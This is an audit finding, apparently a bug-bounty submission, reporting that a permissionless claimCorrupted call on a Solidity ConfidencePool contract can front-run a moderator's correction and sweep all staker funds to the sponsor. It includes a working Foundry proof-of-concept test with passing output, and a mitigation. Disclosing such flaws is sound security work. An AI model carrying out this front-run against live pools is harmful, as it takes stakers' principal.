FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Permissionless claimCorrupted forecloses the moderator's re-flag correction window, sweeping all staker principal to the sponsor

Author Revealed upon completion

Summary

The moderator's pre-claim outcome-correction window (flagOutcome is re-flaggable while !claimsStarted, per docs/DESIGN.md §4) can be permanently foreclosed by a permissionless front-run. claimCorrupted() is callable by anyone, has no time/grace gate on the moderator-flagged bad-faith path, immediately sweeps the entire pool balance to the sponsor-controlled recoveryAddress, and sets claimsStarted = true. So after an honest-but-mistaken moderator flags bad-faith CORRUPTED — the exact mistake §4's correction window exists to fix — any third party (in particular the sponsor, who receives the funds) can front-run the corrective re-flag with claimCorrupted, permanently locking in the wrong outcome and sending all staker principal + bonus to the sponsor.

Vulnerability Details

flagOutcome allows correction until the first claim:

// ConfidencePool.sol : flagOutcome (L327)
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();

DESIGN §4 justifies closing this window "on the first claim" by asserting the claimant is "an interested stakeholder exercising a correct outcome, not usurping one." That reasoning holds for claimSurvived / claimExpired, where caller == beneficiary == staker (a staker only ever pulls their own rightful share). It does not hold for the bad-faith claimCorrupted path:

// ConfidencePool.sol : claimCorrupted (L408-426)
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this)); // entire pool
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) { bountyClaimed = bountyEntitlement; }
if (!claimsStarted) claimsStarted = true; // slams the §4 window shut
stakeToken.safeTransfer(recoveryAddress, toSweep); // -> sponsor-controlled address
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}
  • caller ≠ beneficiary: the funds go to recoveryAddress (sponsor, per §10), not to the caller — the caller is not "an interested stakeholder exercising a correct outcome."

  • the beneficiary profits from locking in the wrong outcome: bad-faith CORRUPTED routes the whole pool to the sponsor, versus SURVIVED (principal + bonus returned to stakers) or good-faith CORRUPTED (whole pool to the named whitehat). The sponsor is directly incentivized to foreclose a correction toward a staker-favorable outcome.

  • the moderator has no defense: the pool owner is the sponsor (the factory passes the agreement owner as owner_), and pause() is onlyOwner — so the only party who could pause to protect the correction window is the beneficiary of the theft. Unlike the auto-CORRUPTED path in claimExpired (which correctly sits behind a 180-day grace), the moderator-flagged bad-faith path has no delay at all.

The correction the design promises for a mistaken outcome therefore does not exist for the single highest-stakes outcome (a full-pool sweep). SURVIVED is a legal outcome on a CORRUPTED registry (an out-of-scope breach — see flagOutcome L338), so nothing but the front-run's claimsStarted blocks the correct resolution.

Impact

Total loss of stakers' principal + bonus, misdirected to the sponsor (recoveryAddress), whenever an honest moderator's initial bad-faith CORRUPTED flag was wrong (the breach was out-of-scope → SURVIVED, or a whitehat did it → good-faith CORRUPTED). The moderator's documented ability to correct the mistake is nullified by a permissionless, sponsor-benefiting front-run, and the moderator has no defensive tool.

Proof of Concept

Add as test/poc/ReflagForeclosure.t.sol and run forge test --match-contract ReflagForeclosurePoC -vvv. Both tests pass. Alice and Bob stake in-term, a real risk window is observed, and the registry reaches CORRUPTED — the state under which the moderator can flag bad-faith CORRUPTED.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ReflagForeclosurePoC is BaseConfidencePoolTest {
uint256 internal constant STAKE_AMT = 100 * ONE;
uint256 internal constant BONUS_AMT = 20 * ONE;
address internal sponsor = makeAddr("sponsor"); // any EOA works; sponsor makes the motive explicit
function _stakeThenDriveToCorrupted() internal {
_stake(alice, STAKE_AMT);
_stake(bob, STAKE_AMT);
_contributeBonus(sponsor, BONUS_AMT);
assertEq(pool.riskWindowStart(), 0, "no active-risk observed yet");
vm.warp(BASE_TIMESTAMP + 1 days);
_passThroughUnderAttack(); // UNDER_ATTACK + pokeRiskWindow -> riskWindowStart sealed in-term
assertTrue(pool.riskWindowStart() != 0, "risk window opened during the term");
vm.warp(BASE_TIMESTAMP + 6 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertLt(vm.getBlockTimestamp(), pool.expiry(), "still in term; moderator decides");
}
// EXPLOIT: honest-but-mistaken bad-faith CORRUPTED flag -> permissionless front-run forecloses the fix.
function test_exploit_frontRunForeclosesCorrection() external {
_stakeThenDriveToCorrupted();
uint256 poolBalBefore = token.balanceOf(address(pool));
assertEq(poolBalBefore, 2 * STAKE_AMT + BONUS_AMT, "pool holds both principals + bonus");
// 1) Moderator honestly mis-flags bad-faith CORRUPTED (breach was actually out-of-scope).
vm.prank(pool.outcomeModerator());
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
assertFalse(pool.claimsStarted(), "correction window still open");
// 2) Front-run: anyone (here the sponsor) sweeps the whole pool before the correction.
uint256 recoveryBefore = token.balanceOf(pool.recoveryAddress());
vm.prank(sponsor);
pool.claimCorrupted();
assertEq(
token.balanceOf(pool.recoveryAddress()) - recoveryBefore, poolBalBefore,
"entire pool swept to sponsor-controlled recoveryAddress"
);
assertTrue(pool.claimsStarted(), "correction window slammed shut");
// 3) Moderator's correct re-flag (SURVIVED is legal on a CORRUPTED registry) now reverts.
vm.prank(pool.outcomeModerator());
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// 4) Stakers recover nothing; outcome frozen on the wrong resolution.
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeNotSet.selector);
pool.claimSurvived();
assertEq(token.balanceOf(alice), 0, "alice recovered NOTHING");
assertEq(token.balanceOf(bob), 0, "bob recovered NOTHING");
}
// CONTROL: identical, but no front-run -> moderator corrects to SURVIVED, stakers made whole.
function test_control_moderatorCorrectsWhenNoFrontRun() external {
_stakeThenDriveToCorrupted();
vm.prank(pool.outcomeModerator());
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// No claimCorrupted front-run.
vm.prank(pool.outcomeModerator());
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "corrected to SURVIVED");
uint256 expectedBonus = BONUS_AMT / 2;
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), STAKE_AMT + expectedBonus, "alice recovered principal + bonus");
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(bob), STAKE_AMT + expectedBonus, "bob recovered principal + bonus");
assertEq(token.balanceOf(pool.recoveryAddress()), 0, "sponsor received nothing under correct outcome");
}
}

Output:

Ran 2 tests for test/poc/ReflagForeclosure.t.sol:ReflagForeclosurePoC
[PASS] test_control_moderatorCorrectsWhenNoFrontRun()
[PASS] test_exploit_frontRunForeclosesCorrection()
Suite result: ok. 2 passed; 0 failed; 0 skipped

Recommended Mitigation

Give the bad-faith claimCorrupted sweep the same finality protection the design promises elsewhere: gate it behind a short delay after the flag (or the same moderator grace used by the auto path), and/or restrict the moderator-flagged bad-faith sweep to the moderator/owner rather than any caller — so the §4 correction window genuinely exists for the full-pool-sweep outcome. (The claimExpired auto-CORRUPTED path is unaffected: it sets claimsStarted atomically at resolution and is scope-blind by accepted design.)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!